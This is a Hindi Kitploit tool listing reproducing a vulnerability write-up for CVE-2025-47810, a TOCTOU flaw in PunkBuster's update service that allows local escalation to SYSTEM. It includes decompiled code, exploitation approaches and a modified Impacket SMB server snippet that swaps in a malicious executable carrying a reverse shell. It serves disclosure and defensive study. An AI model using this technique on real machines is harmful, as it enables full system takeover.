Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-47810 — PunkBuster LPI से NT AUTHORITY\SYSTEM तक | Kitploit
उपकरण/GitHubGitHub/ptrstr/cve-2025-47810
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपार्श्व आंदोलनबाइनरी विश्लेषण
GitHubptrstr/cve-2025-47810

CVE-2025-47810

PunkBuster LPI से NT AUTHORITY\SYSTEM तक

रिपॉजिटरी देखें
11 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

PunkBuster LPI (CVE-2025-47810)

Screenshot

पृष्ठभूमि

PunkBuster स्वयं को दो सेवाओं और एक वैकल्पिक? कर्नेल ड्राइवर के रूप में स्थापित करता है।

  • PnkBstrA: सेवा जो लगातार पृष्ठभूमि में चलती है, और समग्र रूप से PunkBuster के प्रबंधन के लिए जिम्मेदार है
  • PnkBstrB: सेवा जो तब शुरू होती है जब एक संरक्षित गेम शुरू होता है। इसके A समकक्ष की तुलना में अधिक कार्यक्षमता के साथ आता है।

दोनों सेवाएँ समान रूप से संरचित हैं, localhost पर [44301, 44400] रेंज में एक पोर्ट पर UDP सुनती हैं। एक बार जब यह एक पोर्ट ढूंढ लेता है, तो इसे HKLM:\SOFTWARE\Even Balance\PnkBstrA या HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA में Port मान में लिखा जाता है।

प्रत्येक अनुरोध एक वैश्विक बफर में संग्रहीत किया जाता है जो 1500 बाइट लंबा होता है (हालांकि, NUL टर्मिनेटर के लिए केवल 1499 बाइट प्राप्त होते हैं)।

अनुरोध डेटा के लिए कोई मानक संरचना नहीं है, लेकिन यहाँ उनकी सामान्य संरचना है:

  • पहला बाइट (आमतौर पर एक अक्षर) यह इंगित करता है कि कौन सी कार्यक्षमता को आमंत्रित करना है
  • कार्यक्षमता के लिए तर्क, और यदि कई की आवश्यकता होती है तो आमतौर पर स्थान द्वारा अलग किए जाते हैं

PnkBstrA में अनुरोध प्रकार इस प्रकार हैं:

  • l: लोड: PnkBstrB को प्रारंभ और अपडेट करता है
    • एक (वैकल्पिक) तर्क लेता है, अपडेट किए गए PnkBstrB निष्पादन योग्य के पथ पर
  • u: अनलोड: PnkBstrB को रोकें
  • v: संस्करण: बस संस्करण लौटाता है
  • m: मॉनिटर: एक PID लेता है, और जाँचता है कि क्या PunkBuster क्लाइंट DLL (pbcl.dll) प्रक्रिया में है, यदि मौजूद हो तो उसकी मेमोरी डंप करता है।

भेद्यता

लोड हैंडलर (l) में TOCTOU शैली की भेद्यता है, जो NT AUTHORITY\SYSTEM के रूप में स्थानीय विशेषाधिकार वृद्धि की ओर ले जाती है।

हैंडलर का प्रवाह कुछ इस प्रकार है:

  1. PnkBstrB सेवा को हटाएं
  2. यदि मौजूद हो तो तर्क में फ़ाइल का MD5 की गणना करें
  3. यदि मौजूद हो तो तर्क में निष्पादन योग्य के Authenticode और प्रमाणपत्रों को मान्य करें
    • अन्य जाँचों के बीच, सुनिश्चित करें कि प्रमाणपत्र का विषय Even Balance, Inc. है
  4. फ़ाइल के लिए कोई हैंडल न होने पर 750ms से 2.25s के बीच सोएं, जबकि तर्क में फ़ाइल को C:\Windows\SysWOW64\PnkBstrB.exe या C:\Windows\System32\PnkBstrB.exe में कॉपी करने का प्रयास करें, प्लेटफ़ॉर्म पर निर्भर करता है
  5. सिस्टम निर्देशिका में कॉपी की गई फ़ाइल का MD5 की गणना करें
  6. दोनों MD5 हैश मेल खाते हैं या नहीं यह मान्य करें
    • यदि हाँ, तो नव कॉपी की गई फ़ाइल के साथ LocalSystem के रूप में चलने वाली PnkBstrB सेवा बनाएं और प्रारंभ करें।

यहाँ समस्या यह है कि PnkBstrA जिस फ़ाइल में हेरफेर कर रहा है, उसे प्रत्येक ऑपरेशन के लिए कई बार पुनः खोला जाता है, जिससे ऐसी स्थिति उत्पन्न होती है जहाँ एक हमलावर ऑपरेशनों के बीच फ़ाइल को संशोधित कर सकता है।

इससे एक ऐसी समस्या उत्पन्न हो सकती है जहाँ फ़ाइल को उसके प्रमाणपत्र के लिए मान्य करने के बाद, इसे बदल दिया जाता है और एक दुर्भावनापूर्ण फ़ाइल PnkBstrB सेवा के निष्पादन योग्य के रूप में समाप्त हो जाती है। यह निष्पादन योग्य एक अविश्वासित उपयोगकर्ता के लिए NT AUTHORITY\SYSTEM तक उन्नत होना संभव बनाता है।

प्रासंगिक डीकंपाइलेशन यहाँ दिखाया गया है:

root@kitploit:~
int startPnkB(char *updateFileName) {
    ...

    // Calculate first MD5
    firstMd5Fp = fopen(updateFileName, "r+b");
    strcpy(firstMd5, "1");
    if ( firstMd5Fp )
      computeMD5(updateFileName, firstMd5);
    nowMs = GetTickCount();
    busyWaitExpiration = rand() % 800 + 300;
    while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
      ;
    fclose(firstMd5Fp);

    // INJECTION POINT 1

    // Check certificate
    certificateFilePointer = fopen(updateFileName, "rb"); // Must succeed, or else check futher down will fail
    if ( g_Warnings >= 3 )
    {
      log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
      if ( certificateFilePointer )
        fclose(certificateFilePointer);
      return 0;
    }

    if ( !checkValidCertificate(updateFileName) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
      goto LABEL_49;
    }

    // Build path to copy to
    GetSystemDirectoryA(g_SystemDirectory, 246u);
    if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
      strncat(g_SystemDirectory, 260, "\\");
    strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
    _chmod(g_SystemDirectory, 0600);
    strcpy(Str, g_SystemDirectory);

    ...

    // INJECTION POINT 2

    Sleep(750u);
    if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
    {
      Sleep(750u);
      for ( startTimea = 1; startTimea > 0; --startTimea )
      {
        Sleep(750u);
        if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
          break;
      }
      if ( startTimea < 1 )
      {
        LastError = GetLastError();
        log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
        fclose(certificateFilePointer);
        return 0;
      }
    }


    // Make sure we previously opened the file
    v9 = certificateFilePointer;
    if ( certificateFilePointer )
    {
      fclose(certificateFilePointer);
      v9 = fopen(g_SystemDirectory, "rb");
    }

    // Second MD5
    strcpy(newMd5, "2");
    if ( v9 )
      computeMD5(g_SystemDirectory, newMd5);
    if ( memcmp(firstMd5, newMd5, 0x10u) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
  LABEL_41:
      if ( v9 )
        fclose(v9);
      return 0;
    }
    ServiceA = CreateServiceA(
                 hSCManager,
                 "PnkBstrB",
                 "PnkBstrB",
                 0xF01FFu,
                 0x10u,
                 2u,
                 1u,
                 g_SystemDirectory,
                 0,
                 0,
                 0,
                 0,
                 0);

    ...
}

एक सरल समाधान यह होगा कि पहले फ़ाइल को एक सुरक्षित लेकिन अस्थायी स्थान पर कॉपी किया जाए (जैसे: PnkBstrB.exe.tmp), और वहाँ से MD5 और जाँच की गणना की जाए। इस तरह, फ़ाइल किसी दुर्भावनापूर्ण अभिनेता द्वारा संपादन योग्य नहीं होगी। यह सुनिश्चित करेगा कि फ़ाइल की एक प्रति खोली गई है, जो SMB शोषण को रोकता है।

शोषण

दृष्टिकोण 1

हमले का परिदृश्य एक दुर्भावनापूर्ण फ़ाइल प्रदान करना, MD5 की गणना होने तक प्रतीक्षा करना, फ़ाइल को मूल PnkBstrB.exe से बदलना ताकि WinVerifyTrust और प्रमाणपत्र जाँच पास हो जाएं, और फिर इसे फिर से दुर्भावनापूर्ण फ़ाइल से बदलना हो सकता है, ताकि दूसरा MD5 पास हो जाए और फ़ाइल को कॉपी और निष्पादित किया जा सके।

हालाँकि, इस परिदृश्य को निष्पादित करना बहुत कठिन है, क्योंकि फ़ाइल को बदलना मुश्किल है, और जब यह PnkBstrA द्वारा खोली जाती है तब इसे संशोधित करना परिवर्तनों को लागू नहीं करता प्रतीत होता है। ऐसा इसलिए है क्योंकि कोड में देखे गए INJECTION POINT 1 में अपने कोड को शेड्यूल करना कठिन है। यह संभवतः कई समय-महत्वपूर्ण प्राथमिकता वाले थ्रेड्स का उपयोग करके संभव है, जिनमें से कुछ लगातार फ़ाइल को बदलने का प्रयास करते हैं, और अन्य व्यस्त प्रतीक्षाओं में समवर्ती कोर को ब्लॉक करते हैं।

दृष्टिकोण 2

एक अन्य दृष्टिकोण PnkBstrB और दुर्भावनापूर्ण फ़ाइल के बीच MD5 टकराव प्राप्त करने का प्रयास करना होगा। यह पहले वैध फ़ाइल को पहले MD5 के लिए उम्मीदवार के रूप में उपयोग करके और प्रमाणपत्र के लिए जाँच करके काम करेगा। हालाँकि, उसके बाद हमारे पास फ़ाइल को अपने स्वयं के साथ बदलने के लिए 750 मिलीसेकंड या अधिक का एक अच्छा समय होता है। फिर, दूसरा MD5 पास हो जाएगा और हमारी फ़ाइल इंजेक्ट हो जाएगी। हालाँकि, इसे विकसित करते समय, मैं टकराव उत्पन्न होने की प्रतीक्षा करने में आलसी था, इसलिए मैंने एक अन्य दृष्टिकोण चुना।

दृष्टिकोण 3

यह कोड विंडोज पर निर्भर है, और fopen का उपयोग करता है जो विंडोज के स्वयं के I/O फ़ंक्शन से मैप होता है। परिभाषा के अनुसार, इसका मतलब है कि SMB शेयर सुलभ होंगे। इसके अलावा, MSDN इस व्यवहार का समर्थन करता है:

fopen UNC पथों और मैप किए गए नेटवर्क ड्राइव वाले पथों को स्वीकार करता है, जब तक कि कोड निष्पादित करने वाले सिस्टम के पास निष्पादन के समय शेयर या मैप ड्राइव तक पहुंच हो।

इसका मतलब है कि हम अपने पहले दृष्टिकोण का उपयोग कर सकते हैं, लेकिन चूँकि कोड हमारे SMB शेयर पर निर्भर होगा, हम फ़ाइल के अनुरोध किए जाने की संख्या के आधार पर अलग-अलग फ़ाइलें भेजते हैं।

Impacket के smbserver को संशोधित करके, यह व्यवहार प्राप्त करना संभव है। पूर्ण .patch फ़ाइल यहाँ पाई जा सकती है। मुख्य परिवर्तन इस प्रकार हैं:

root@kitploit:~
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
    ...
    
    if not hasattr(smbServer, '_hist'):
        smbServer._hist = {}

    if pathName.endswith('.exe'):
        if pathName not in smbServer._hist.keys():
            smbServer._hist[pathName] = 0
        
        smbServer._hist[pathName] += 1

        if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
            pathName = './PwnBstr.exe'
        else:
            pathName = './PnkBstrB.exe'

जैसा कि आप देख सकते हैं, यदि हम पहली बार फ़ाइल खोल रहे हैं (पहला MD5) या कम से कम 8वीं बार (फ़ाइल कॉपी और उसके बाद), तो हम क्लाइंट को दुर्भावनापूर्ण फ़ाइल भेजते हैं, जबकि अन्य मामलों में मूल फ़ाइल भेजते हैं।

दुर्भावनापूर्ण फ़ाइल का कोड यहाँ पाया जा सकता है, जो एक रिवर्स शेल के साथ एक सरल हैलो वर्ल्ड सेवा है।

https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220

प्रकटीकरण

EvenBalance से 2025-02-15 से कई बार विभिन्न तरीकों से संपर्क किया गया लेकिन कोई उत्तर नहीं मिला।

यह मुद्दा 2025-05-10 को पूरी तरह से प्रकट किया गया।

टूल डाउनलोड करें